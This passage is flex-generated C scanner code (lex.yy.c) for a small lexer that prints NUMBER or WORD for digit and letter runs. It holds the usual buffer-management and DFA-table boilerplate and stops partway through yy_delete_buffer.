#define YY_END_OF_BUFFER_CHAR 0
/* Size of default input buffer. */
#ifndef YY_BUF_SIZE
#ifdef __ia64__
/* On IA-64, the buffer size is 16k, not 8k.
* Moreover, YY_BUF_SIZE is 2*YY_READ_BUF_SIZE in the general case.
* Ditto for the __ia64__ case accordingly.
*/
#define YY_BUF_SIZE 32768
#else
#define YY_BUF_SIZE 16384
#endif /* __ia64__ */
#endif
/* The state buf must be large enough to hold one state per character in the main buffer.
*/
#define YY_STATE_BUF_SIZE ((YY_BUF_SIZE + 2) * sizeof(yy_state_type))
#ifndef YY_TYPEDEF_YY_BUFFER_STATE
#define YY_TYPEDEF_YY_BUFFER_STATE
typedef struct yy_buffer_state *YY_BUFFER_STATE;
#endif
extern int yyleng;
extern FILE *yyin, *yyout;
#define EOB_ACT_CONTINUE_SCAN 0
#define EOB_ACT_END_OF_FILE 1
#define EOB_ACT_LAST_MATCH 2
#define YY_LESS_LINENO(n)
/* Return all but the first "n" matched characters back to the input stream. */
#define yyless(n) \
do \
{ \
/* Undo effects of setting up yytext. */ \
int yyless_macro_arg = (n); \
YY_LESS_LINENO(yyless_macro_arg);\
*yy_cp = (yy_hold_char); \
YY_RESTORE_YY_MORE_OFFSET \
(yy_c_buf_p) = yy_cp = yy_bp + yyless_macro_arg - YY_MORE_ADJ; \
YY_DO_BEFORE_ACTION; /* set up yytext again */ \
} \
while ( 0 )
#define unput(c) yyunput( c, (yytext_ptr) )
#ifndef YY_TYPEDEF_YY_SIZE_T
#define YY_TYPEDEF_YY_SIZE_T
typedef size_t yy_size_t;
#endif
#ifndef YY_STRUCT_YY_BUFFER_STATE
#define YY_STRUCT_YY_BUFFER_STATE
struct yy_buffer_state
{
FILE *yy_input_file;
char *yy_ch_buf; /* input buffer */
char *yy_buf_pos; /* current position in input buffer */
/* Size of input buffer in bytes, not including room for EOB
* characters.
*/
yy_size_t yy_buf_size;
/* Number of characters read into yy_ch_buf, not including EOB
* characters.
*/
int yy_n_chars;
/* Whether we "own" the buffer - i.e., we know we created it,
* and can realloc() it to grow it, and should free() it to
* delete it.
*/
int yy_is_our_buffer;
/* Whether this is an "interactive" input source; if so, and
* if we're using stdio for input, then we want to use getc()
* instead of fread(), to make sure we stop fetching input after
* each newline.
*/
int yy_is_interactive;
/* Whether we're considered to be at the beginning of a line.
* If so, '^' rules will be active on the next match, otherwise
* not.
*/
int yy_at_bol;
int yy_bs_lineno; /**< The line count. */
int yy_bs_column; /**< The column count. */
/* Whether to try to fill the input buffer when we reach the
* end of it.
*/
int yy_fill_buffer;
int yy_buffer_status;
#define YY_BUFFER_NEW 0
#define YY_BUFFER_NORMAL 1
/* When an EOF's been seen but there's still some text to process
* then we mark the buffer as YY_EOF_PENDING, to indicate that we
* shouldn't try reading from the input source any more. We might
* still have a bunch of tokens to match, though, because of
* possible backing-up.
*
* When we actually see the EOF, we change the status to "new"
* (via yyrestart()), so that the user can continue scanning by
* just pointing yyin at a new input file.
*/
#define YY_BUFFER_EOF_PENDING 2
};
#endif /* !YY_STRUCT_YY_BUFFER_STATE */
/* Stack of input buffers. */
static size_t yy_buffer_stack_top = 0; /**< index of top of stack. */
static size_t yy_buffer_stack_max = 0; /**< capacity of stack. */
static YY_BUFFER_STATE * yy_buffer_stack = 0; /**< Stack as an array. */
/* We provide macros for accessing buffer states in case in the
* future we want to put the buffer states in a more general
* "scanner state".
*
* Returns the top of the stack, or NULL.
*/
#define YY_CURRENT_BUFFER ( (yy_buffer_stack) \
? (yy_buffer_stack)[(yy_buffer_stack_top)] \
: NULL)
/* Same as previous macro, but useful when we know that the buffer stack is not
* NULL or when we need an lvalue. For internal use only.
*/
#define YY_CURRENT_BUFFER_LVALUE (yy_buffer_stack)[(yy_buffer_stack_top)]
/* yy_hold_char holds the character lost when yytext is formed. */
static char yy_hold_char;
static int yy_n_chars; /* number of characters read into yy_ch_buf */
int yyleng;
/* Points to current character in buffer. */
static char *yy_c_buf_p = (char *) 0;
static int yy_init = 0; /* whether we need to initialize */
static int yy_start = 0; /* start state number */
/* Flag which is used to allow yywrap()'s to do buffer switches
* instead of setting up a fresh yyin. A bit of a hack ...
*/
static int yy_did_buffer_switch_on_eof;
void yyrestart (FILE *input_file );
void yy_switch_to_buffer (YY_BUFFER_STATE new_buffer );
YY_BUFFER_STATE yy_create_buffer (FILE *file,int size );
void yy_delete_buffer (YY_BUFFER_STATE b );
void yy_flush_buffer (YY_BUFFER_STATE b );
void yypush_buffer_state (YY_BUFFER_STATE new_buffer );
void yypop_buffer_state (void );
static void yyensure_buffer_stack (void );
static void yy_load_buffer_state (void );
static void yy_init_buffer (YY_BUFFER_STATE b,FILE *file );
#define YY_FLUSH_BUFFER yy_flush_buffer(YY_CURRENT_BUFFER )
YY_BUFFER_STATE yy_scan_buffer (char *base,yy_size_t size );
YY_BUFFER_STATE yy_scan_string (yyconst char *yy_str );
YY_BUFFER_STATE yy_scan_bytes (yyconst char *bytes,int len );
void *yyalloc (yy_size_t );
void *yyrealloc (void *,yy_size_t );
void yyfree (void * );
#define yy_new_buffer yy_create_buffer
#define yy_set_interactive(is_interactive) \
{ \
if ( ! YY_CURRENT_BUFFER ){ \
yyensure_buffer_stack (); \
YY_CURRENT_BUFFER_LVALUE = \
yy_create_buffer(yyin,YY_BUF_SIZE ); \
} \
YY_CURRENT_BUFFER_LVALUE->yy_is_interactive = is_interactive; \
}
#define yy_set_bol(at_bol) \
{ \
if ( ! YY_CURRENT_BUFFER ){\
yyensure_buffer_stack (); \
YY_CURRENT_BUFFER_LVALUE = \
yy_create_buffer(yyin,YY_BUF_SIZE ); \
} \
YY_CURRENT_BUFFER_LVALUE->yy_at_bol = at_bol; \
}
#define YY_AT_BOL() (YY_CURRENT_BUFFER_LVALUE->yy_at_bol)
/* Begin user sect3 */
typedef unsigned char YY_CHAR;
FILE *yyin = (FILE *) 0, *yyout = (FILE *) 0;
typedef int yy_state_type;
extern int yylineno;
int yylineno = 1;
extern char *yytext;
#define yytext_ptr yytext
static yy_state_type yy_get_previous_state (void );
static yy_state_type yy_try_NUL_trans (yy_state_type current_state );
static int yy_get_next_buffer (void );
static void yy_fatal_error (yyconst char msg[] );
/* Done after the current pattern has been matched and before the
* corresponding action - sets up yytext.
*/
#define YY_DO_BEFORE_ACTION \
(yytext_ptr) = yy_bp; \
yyleng = (size_t) (yy_cp - yy_bp); \
(yy_hold_char) = *yy_cp; \
*yy_cp = '\0'; \
(yy_c_buf_p) = yy_cp;
#define YY_NUM_RULES 3
#define YY_END_OF_BUFFER 4
/* This struct is not used in this scanner,
but its presence is necessary. */
struct yy_trans_info
{
flex_int32_t yy_verify;
flex_int32_t yy_nxt;
};
static yyconst flex_int16_t yy_accept[10] =
{ 0,
0, 0, 4, 3, 1, 2, 1, 2, 0
} ;
static yyconst flex_int32_t yy_ec[256] =
{ 0,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 1, 1, 1,
1, 1, 1, 1, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
1, 1, 1, 1, 1, 1, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1
} ;
static yyconst flex_int32_t yy_meta[4] =
{ 0,
1, 2, 3
} ;
static yyconst flex_int16_t yy_base[12] =
{ 0,
0, 0, 7, 8, 0, 0, 0, 0, 8, 4,
2
} ;
static yyconst flex_int16_t yy_def[12] =
{ 0,
9, 1, 9, 9, 10, 11, 10, 11, 0, 9,
9
} ;
static yyconst flex_int16_t yy_nxt[12] =
{ 0,
4, 5, 6, 8, 8, 7, 9, 3, 9, 9,
9
} ;
static yyconst flex_int16_t yy_chk[12] =
{ 0,
1, 1, 1, 11, 11, 10, 3, 9, 9, 9,
9
} ;
static yy_state_type yy_last_accepting_state;
static char *yy_last_accepting_cpos;
extern int yy_flex_debug;
int yy_flex_debug = 0;
/* The intent behind this definition is that it'll catch
* any uses of REJECT which flex missed.
*/
#define REJECT reject_used_but_not_detected
#define yymore() yymore_used_but_not_detected
#define YY_MORE_ADJ 0
#define YY_RESTORE_YY_MORE_OFFSET
char *yytext;
#line 1 "lexer.lxi"
#line 2 "lexer.lxi"
#include <stdio.h>
#line 464 "lex.yy.c"
#define INITIAL 0
#ifndef YY_NO_UNISTD_H
/* Special case for "unistd.h", since it is non-ANSI. We include it way
* down here because we want the user's section 1 to have been scanned first.
* The user has a chance to override it with an option.
*/
#include <unistd.h>
#endif
#ifndef YY_EXTRA_TYPE
#define YY_EXTRA_TYPE void *
#endif
static int yy_init_globals (void );
/* Accessor methods to globals.
These are made visible to non-reentrant scanners for convenience. */
int yylex_destroy (void );
int yyget_debug (void );
void yyset_debug (int debug_flag );
YY_EXTRA_TYPE yyget_extra (void );
void yyset_extra (YY_EXTRA_TYPE user_defined );
FILE *yyget_in (void );
void yyset_in (FILE * in_str );
FILE *yyget_out (void );
void yyset_out (FILE * out_str );
int yyget_leng (void );
char *yyget_text (void );
int yyget_lineno (void );
void yyset_lineno (int line_number );
/* Macros after this point can all be overridden by user definitions in
* section 1.
*/
#ifndef YY_SKIP_YYWRAP
#ifdef __cplusplus
extern "C" int yywrap (void );
#else
extern int yywrap (void );
#endif
#endif
static void yyunput (int c,char *buf_ptr );
#ifndef yytext_ptr
static void yy_flex_strncpy (char *,yyconst char *,int );
#endif
#ifdef YY_NEED_STRLEN
static int yy_flex_strlen (yyconst char * );
#endif
#ifndef YY_NO_INPUT
#ifdef __cplusplus
static int yyinput (void );
#else
static int input (void );
#endif
#endif
/* Amount of stuff to slurp up with each read. */
#ifndef YY_READ_BUF_SIZE
#ifdef __ia64__
/* On IA-64, the buffer size is 16k, not 8k */
#define YY_READ_BUF_SIZE 16384
#else
#define YY_READ_BUF_SIZE 8192
#endif /* __ia64__ */
#endif
/* Copy whatever the last rule matched to the standard output. */
#ifndef ECHO
/* This used to be an fputs(), but since the string might contain NUL's,
* we now use fwrite().
*/
#define ECHO do { if (fwrite( yytext, yyleng, 1, yyout )) {} } while (0)
#endif
/* Gets input and stuffs it into "buf". number of characters read, or YY_NULL,
* is returned in "result".
*/
#ifndef YY_INPUT
#define YY_INPUT(buf,result,max_size) \
if ( YY_CURRENT_BUFFER_LVALUE->yy_is_interactive ) \
{ \
int c = '*'; \
size_t n; \
for ( n = 0; n < max_size && \
(c = getc( yyin )) != EOF && c != '\n'; ++n ) \
buf[n] = (char) c; \
if ( c == '\n' ) \
buf[n++] = (char) c; \
if ( c == EOF && ferror( yyin ) ) \
YY_FATAL_ERROR( "input in flex scanner failed" ); \
result = n; \
} \
else \
{ \
errno=0; \
while ( (result = fread(buf, 1, max_size, yyin))==0 && ferror(yyin)) \
{ \
if( errno != EINTR) \
{ \
YY_FATAL_ERROR( "input in flex scanner failed" ); \
break; \
} \
errno=0; \
clearerr(yyin); \
} \
}\
\
#endif
/* No semi-colon after return; correct usage is to write "yyterminate();" -
* we don't want an extra ';' after the "return" because that will cause
* some compilers to complain about unreachable statements.
*/
#ifndef yyterminate
#define yyterminate() return YY_NULL
#endif
/* Number of entries by which start-condition stack grows. */
#ifndef YY_START_STACK_INCR
#define YY_START_STACK_INCR 25
#endif
/* Report a fatal error. */
#ifndef YY_FATAL_ERROR
#define YY_FATAL_ERROR(msg) yy_fatal_error( msg )
#endif
/* end tables serialization structures and prototypes */
/* Default declaration of generated scanner - a define so the user can
* easily add parameters.
*/
#ifndef YY_DECL
#define YY_DECL_IS_OURS 1
extern int yylex (void);
#define YY_DECL int yylex (void)
#endif /* !YY_DECL */
/* Code executed at the beginning of each rule, after yytext and yyleng
* have been set up.
*/
#ifndef YY_USER_ACTION
#define YY_USER_ACTION
#endif
/* Code executed at the end of each rule. */
#ifndef YY_BREAK
#define YY_BREAK break;
#endif
#define YY_RULE_SETUP \
YY_USER_ACTION
/** The main scanner function which does all the work.
*/
YY_DECL
{
register yy_state_type yy_current_state;
register char *yy_cp, *yy_bp;
register int yy_act;
#line 5 "lexer.lxi"
#line 653 "lex.yy.c"
if ( !(yy_init) )
{
(yy_init) = 1;
#ifdef YY_USER_INIT
YY_USER_INIT;
#endif
if ( ! (yy_start) )
(yy_start) = 1; /* first start state */
if ( ! yyin )
yyin = stdin;
if ( ! yyout )
yyout = stdout;
if ( ! YY_CURRENT_BUFFER ) {
yyensure_buffer_stack ();
YY_CURRENT_BUFFER_LVALUE =
yy_create_buffer(yyin,YY_BUF_SIZE );
}
yy_load_buffer_state( );
}
while ( 1 ) /* loops until end-of-file is reached */
{
yy_cp = (yy_c_buf_p);
/* Support of yytext. */
*yy_cp = (yy_hold_char);
/* yy_bp points to the position in yy_ch_buf of the start of
* the current run.
*/
yy_bp = yy_cp;
yy_current_state = (yy_start);
yy_match:
do
{
register YY_CHAR yy_c = yy_ec[YY_SC_TO_UI(*yy_cp)];
if ( yy_accept[yy_current_state] )
{
(yy_last_accepting_state) = yy_current_state;
(yy_last_accepting_cpos) = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 10 )
yy_c = yy_meta[(unsigned int) yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];
++yy_cp;
}
while ( yy_base[yy_current_state] != 8 );
yy_find_action:
yy_act = yy_accept[yy_current_state];
if ( yy_act == 0 )
{ /* have to back up */
yy_cp = (yy_last_accepting_cpos);
yy_current_state = (yy_last_accepting_state);
yy_act = yy_accept[yy_current_state];
}
YY_DO_BEFORE_ACTION;
do_action: /* This label is used only to access EOF actions. */
switch ( yy_act )
{ /* beginning of action switch */
case 0: /* must back up */
/* undo the effects of YY_DO_BEFORE_ACTION */
*yy_cp = (yy_hold_char);
yy_cp = (yy_last_accepting_cpos);
yy_current_state = (yy_last_accepting_state);
goto yy_find_action;
case 1:
YY_RULE_SETUP
#line 6 "lexer.lxi"
printf("NUMBER\n");
YY_BREAK
case 2:
YY_RULE_SETUP
#line 7 "lexer.lxi"
printf("WORD\n");
YY_BREAK
case 3:
YY_RULE_SETUP
#line 8 "lexer.lxi"
ECHO;
YY_BREAK
#line 751 "lex.yy.c"
case YY_STATE_EOF(INITIAL):
yyterminate();
case YY_END_OF_BUFFER:
{
/* Amount of text matched not including the EOB char. */
int yy_amount_of_matched_text = (int) (yy_cp - (yytext_ptr)) - 1;
/* Undo the effects of YY_DO_BEFORE_ACTION. */
*yy_cp = (yy_hold_char);
YY_RESTORE_YY_MORE_OFFSET
if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_NEW )
{
/* We're scanning a new file or input source. It's
* possible that this happened because the user
* just pointed yyin at a new source and called
* yylex(). If so, then we have to assure
* consistency between YY_CURRENT_BUFFER and our
* globals. Here is the right place to do so, because
* this is the first action (other than possibly a
* back-up) that will match for the new input source.
*/
(yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_n_chars;
YY_CURRENT_BUFFER_LVALUE->yy_input_file = yyin;
YY_CURRENT_BUFFER_LVALUE->yy_buffer_status = YY_BUFFER_NORMAL;
}
/* Note that here we test for yy_c_buf_p "<=" to the position
* of the first EOB in the buffer, since yy_c_buf_p will
* already have been incremented past the NUL character
* (since all states make transitions on EOB to the
* end-of-buffer state). Contrast this with the test
* in input().
*/
if ( (yy_c_buf_p) <= &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] )
{ /* This was really a NUL. */
yy_state_type yy_next_state;
(yy_c_buf_p) = (yytext_ptr) + yy_amount_of_matched_text;
yy_current_state = yy_get_previous_state( );
/* Okay, we're now positioned to make the NUL
* transition. We couldn't have
* yy_get_previous_state() go ahead and do it
* for us because it doesn't know how to deal
* with the possibility of jamming (and we don't
* want to build jamming into it because then it
* will run more slowly).
*/
yy_next_state = yy_try_NUL_trans( yy_current_state );
yy_bp = (yytext_ptr) + YY_MORE_ADJ;
if ( yy_next_state )
{
/* Consume the NUL. */
yy_cp = ++(yy_c_buf_p);
yy_current_state = yy_next_state;
goto yy_match;
}
else
{
yy_cp = (yy_c_buf_p);
goto yy_find_action;
}
}
else switch ( yy_get_next_buffer( ) )
{
case EOB_ACT_END_OF_FILE:
{
(yy_did_buffer_switch_on_eof) = 0;
if ( yywrap( ) )
{
/* Note: because we've taken care in
* yy_get_next_buffer() to have set up
* yytext, we can now set up
* yy_c_buf_p so that if some total
* hoser (like flex itself) wants to
* call the scanner after we return the
* YY_NULL, it'll still work - another
* YY_NULL will get returned.
*/
(yy_c_buf_p) = (yytext_ptr) + YY_MORE_ADJ;
yy_act = YY_STATE_EOF(YY_START);
goto do_action;
}
else
{
if ( ! (yy_did_buffer_switch_on_eof) )
YY_NEW_FILE;
}
break;
}
case EOB_ACT_CONTINUE_SCAN:
(yy_c_buf_p) =
(yytext_ptr) + yy_amount_of_matched_text;
yy_current_state = yy_get_previous_state( );
yy_cp = (yy_c_buf_p);
yy_bp = (yytext_ptr) + YY_MORE_ADJ;
goto yy_match;
case EOB_ACT_LAST_MATCH:
(yy_c_buf_p) =
&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)];
yy_current_state = yy_get_previous_state( );
yy_cp = (yy_c_buf_p);
yy_bp = (yytext_ptr) + YY_MORE_ADJ;
goto yy_find_action;
}
break;
}
default:
YY_FATAL_ERROR(
"fatal flex scanner internal error--no action found" );
} /* end of action switch */
} /* end of scanning one token */
} /* end of yylex */
/* yy_get_next_buffer - try to read in a new buffer
*
* Returns a code representing an action:
* EOB_ACT_LAST_MATCH -
* EOB_ACT_CONTINUE_SCAN - continue scanning from current position
* EOB_ACT_END_OF_FILE - end of file
*/
static int yy_get_next_buffer (void)
{
register char *dest = YY_CURRENT_BUFFER_LVALUE->yy_ch_buf;
register char *source = (yytext_ptr);
register int number_to_move, i;
int ret_val;
if ( (yy_c_buf_p) > &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] )
YY_FATAL_ERROR(
"fatal flex scanner internal error--end of buffer missed" );
if ( YY_CURRENT_BUFFER_LVALUE->yy_fill_buffer == 0 )
{ /* Don't try to fill the buffer, so this is an EOF. */
if ( (yy_c_buf_p) - (yytext_ptr) - YY_MORE_ADJ == 1 )
{
/* We matched a single character, the EOB, so
* treat this as a final EOF.
*/
return EOB_ACT_END_OF_FILE;
}
else
{
/* We matched some text prior to the EOB, first
* process it.
*/
return EOB_ACT_LAST_MATCH;
}
}
/* Try to read more data. */
/* First move last chars to start of buffer. */
number_to_move = (int) ((yy_c_buf_p) - (yytext_ptr)) - 1;
for ( i = 0; i < number_to_move; ++i )
*(dest++) = *(source++);
if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_EOF_PENDING )
/* don't do the read, it's not guaranteed to return an EOF,
* just force an EOF
*/
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars) = 0;
else
{
int num_to_read =
YY_CURRENT_BUFFER_LVALUE->yy_buf_size - number_to_move - 1;
while ( num_to_read <= 0 )
{ /* Not enough room in the buffer - grow it. */
/* just a shorter name for the current buffer */
YY_BUFFER_STATE b = YY_CURRENT_BUFFER;
int yy_c_buf_p_offset =
(int) ((yy_c_buf_p) - b->yy_ch_buf);
if ( b->yy_is_our_buffer )
{
int new_size = b->yy_buf_size * 2;
if ( new_size <= 0 )
b->yy_buf_size += b->yy_buf_size / 8;
else
b->yy_buf_size *= 2;
b->yy_ch_buf = (char *)
/* Include room in for 2 EOB chars. */
yyrealloc((void *) b->yy_ch_buf,b->yy_buf_size + 2 );
}
else
/* Can't grow it, we don't own it. */
b->yy_ch_buf = 0;
if ( ! b->yy_ch_buf )
YY_FATAL_ERROR(
"fatal error - scanner input buffer overflow" );
(yy_c_buf_p) = &b->yy_ch_buf[yy_c_buf_p_offset];
num_to_read = YY_CURRENT_BUFFER_LVALUE->yy_buf_size -
number_to_move - 1;
}
if ( num_to_read > YY_READ_BUF_SIZE )
num_to_read = YY_READ_BUF_SIZE;
/* Read in more data. */
YY_INPUT( (&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move]),
(yy_n_chars), (size_t) num_to_read );
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
}
if ( (yy_n_chars) == 0 )
{
if ( number_to_move == YY_MORE_ADJ )
{
ret_val = EOB_ACT_END_OF_FILE;
yyrestart(yyin );
}
else
{
ret_val = EOB_ACT_LAST_MATCH;
YY_CURRENT_BUFFER_LVALUE->yy_buffer_status =
YY_BUFFER_EOF_PENDING;
}
}
else
ret_val = EOB_ACT_CONTINUE_SCAN;
if ((yy_size_t) ((yy_n_chars) + number_to_move) > YY_CURRENT_BUFFER_LVALUE->yy_buf_size) {
/* Extend the array by 50%, plus the number we really need. */
yy_size_t new_size = (yy_n_chars) + number_to_move + ((yy_n_chars) >> 1);
YY_CURRENT_BUFFER_LVALUE->yy_ch_buf = (char *) yyrealloc((void *) YY_CURRENT_BUFFER_LVALUE->yy_ch_buf,new_size );
if ( ! YY_CURRENT_BUFFER_LVALUE->yy_ch_buf )
YY_FATAL_ERROR( "out of dynamic memory in yy_get_next_buffer()" );
}
(yy_n_chars) += number_to_move;
YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] = YY_END_OF_BUFFER_CHAR;
YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] = YY_END_OF_BUFFER_CHAR;
(yytext_ptr) = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[0];
return ret_val;
}
/* yy_get_previous_state - get the state just before the EOB char was reached */
static yy_state_type yy_get_previous_state (void)
{
register yy_state_type yy_current_state;
register char *yy_cp;
yy_current_state = (yy_start);
for ( yy_cp = (yytext_ptr) + YY_MORE_ADJ; yy_cp < (yy_c_buf_p); ++yy_cp )
{
register YY_CHAR yy_c = (*yy_cp ? yy_ec[YY_SC_TO_UI(*yy_cp)] : 1);
if ( yy_accept[yy_current_state] )
{
(yy_last_accepting_state) = yy_current_state;
(yy_last_accepting_cpos) = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 10 )
yy_c = yy_meta[(unsigned int) yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];
}
return yy_current_state;
}
/* yy_try_NUL_trans - try to make a transition on the NUL character
*
* synopsis
* next_state = yy_try_NUL_trans( current_state );
*/
static yy_state_type yy_try_NUL_trans (yy_state_type yy_current_state )
{
register int yy_is_jam;
register char *yy_cp = (yy_c_buf_p);
register YY_CHAR yy_c = 1;
if ( yy_accept[yy_current_state] )
{
(yy_last_accepting_state) = yy_current_state;
(yy_last_accepting_cpos) = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 10 )
yy_c = yy_meta[(unsigned int) yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];
yy_is_jam = (yy_current_state == 9);
return yy_is_jam ? 0 : yy_current_state;
}
static void yyunput (int c, register char * yy_bp )
{
register char *yy_cp;
yy_cp = (yy_c_buf_p);
/* undo effects of setting up yytext */
*yy_cp = (yy_hold_char);
if ( yy_cp < YY_CURRENT_BUFFER_LVALUE->yy_ch_buf + 2 )
{ /* need to shift things up to make room */
/* +2 for EOB chars. */
register int number_to_move = (yy_n_chars) + 2;
register char *dest = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[
YY_CURRENT_BUFFER_LVALUE->yy_buf_size + 2];
register char *source =
&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move];
while ( source > YY_CURRENT_BUFFER_LVALUE->yy_ch_buf )
*--dest = *--source;
yy_cp += (int) (dest - source);
yy_bp += (int) (dest - source);
YY_CURRENT_BUFFER_LVALUE->yy_n_chars =
(yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_buf_size;
if ( yy_cp < YY_CURRENT_BUFFER_LVALUE->yy_ch_buf + 2 )
YY_FATAL_ERROR( "flex scanner push-back overflow" );
}
*--yy_cp = (char) c;
(yytext_ptr) = yy_bp;
(yy_hold_char) = *yy_cp;
(yy_c_buf_p) = yy_cp;
}
#ifndef YY_NO_INPUT
#ifdef __cplusplus
static int yyinput (void)
#else
static int input (void)
#endif
{
int c;
*(yy_c_buf_p) = (yy_hold_char);
if ( *(yy_c_buf_p) == YY_END_OF_BUFFER_CHAR )
{
/* yy_c_buf_p now points to the character we want to return.
* If this occurs *before* the EOB characters, then it's a
* valid NUL; if not, then we've hit the end of the buffer.
*/
if ( (yy_c_buf_p) < &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] )
/* This was really a NUL. */
*(yy_c_buf_p) = '\0';
else
{ /* need more input */
int offset = (yy_c_buf_p) - (yytext_ptr);
++(yy_c_buf_p);
switch ( yy_get_next_buffer( ) )
{
case EOB_ACT_LAST_MATCH:
/* This happens because yy_g_n_b()
* sees that we've accumulated a
* token and flags that we need to
* try matching the token before
* proceeding. But for input(),
* there's no matching to consider.
* So convert the EOB_ACT_LAST_MATCH
* to EOB_ACT_END_OF_FILE.
*/
/* Reset buffer status. */
yyrestart(yyin );
/*FALLTHROUGH*/
case EOB_ACT_END_OF_FILE:
{
if ( yywrap( ) )
return EOF;
if ( ! (yy_did_buffer_switch_on_eof) )
YY_NEW_FILE;
#ifdef __cplusplus
return yyinput();
#else
return input();
#endif
}
case EOB_ACT_CONTINUE_SCAN:
(yy_c_buf_p) = (yytext_ptr) + offset;
break;
}
}
}
c = *(unsigned char *) (yy_c_buf_p); /* cast for 8-bit char's */
*(yy_c_buf_p) = '\0'; /* preserve yytext */
(yy_hold_char) = *++(yy_c_buf_p);
return c;
}
#endif /* ifndef YY_NO_INPUT */
/** Immediately switch to a different input stream.
* @param input_file A readable stream.
*
* @note This function does not reset the start condition to @c INITIAL .
*/
void yyrestart (FILE * input_file )
{
if ( ! YY_CURRENT_BUFFER ){
yyensure_buffer_stack ();
YY_CURRENT_BUFFER_LVALUE =
yy_create_buffer(yyin,YY_BUF_SIZE );
}
yy_init_buffer(YY_CURRENT_BUFFER,input_file );
yy_load_buffer_state( );
}
/** Switch to a different input buffer.
* @param new_buffer The new input buffer.
*
*/
void yy_switch_to_buffer (YY_BUFFER_STATE new_buffer )
{
/* TODO. We should be able to replace this entire function body
* with
* yypop_buffer_state();
* yypush_buffer_state(new_buffer);
*/
yyensure_buffer_stack ();
if ( YY_CURRENT_BUFFER == new_buffer )
return;
if ( YY_CURRENT_BUFFER )
{
/* Flush out information for old buffer. */
*(yy_c_buf_p) = (yy_hold_char);
YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = (yy_c_buf_p);
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
}
YY_CURRENT_BUFFER_LVALUE = new_buffer;
yy_load_buffer_state( );
/* We don't actually know whether we did this switch during
* EOF (yywrap()) processing, but the only time this flag
* is looked at is after yywrap() is called, so it's safe
* to go ahead and always set it.
*/
(yy_did_buffer_switch_on_eof) = 1;
}
static void yy_load_buffer_state (void)
{
(yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_n_chars;
(yytext_ptr) = (yy_c_buf_p) = YY_CURRENT_BUFFER_LVALUE->yy_buf_pos;
yyin = YY_CURRENT_BUFFER_LVALUE->yy_input_file;
(yy_hold_char) = *(yy_c_buf_p);
}
/** Allocate and initialize an input buffer state.
* @param file A readable stream.
* @param size The character buffer size in bytes. When in doubt, use @c YY_BUF_SIZE.
*
* @return the allocated buffer state.
*/
YY_BUFFER_STATE yy_create_buffer (FILE * file, int size )
{
YY_BUFFER_STATE b;
b = (YY_BUFFER_STATE) yyalloc(sizeof( struct yy_buffer_state ) );
if ( ! b )
YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" );
b->yy_buf_size = size;
/* yy_ch_buf has to be 2 characters longer than the size given because
* we need to put in 2 end-of-buffer characters.
*/
b->yy_ch_buf = (char *) yyalloc(b->yy_buf_size + 2 );
if ( ! b->yy_ch_buf )
YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" );
b->yy_is_our_buffer = 1;
yy_init_buffer(b,file );
return b;
}
/** Destroy the buffer.
* @param b a buffer created with yy_create_buffer()
*
*/
void yy_delete_buffer (YY_BUFFER_STATE b )
{
if ( ! b )
return;
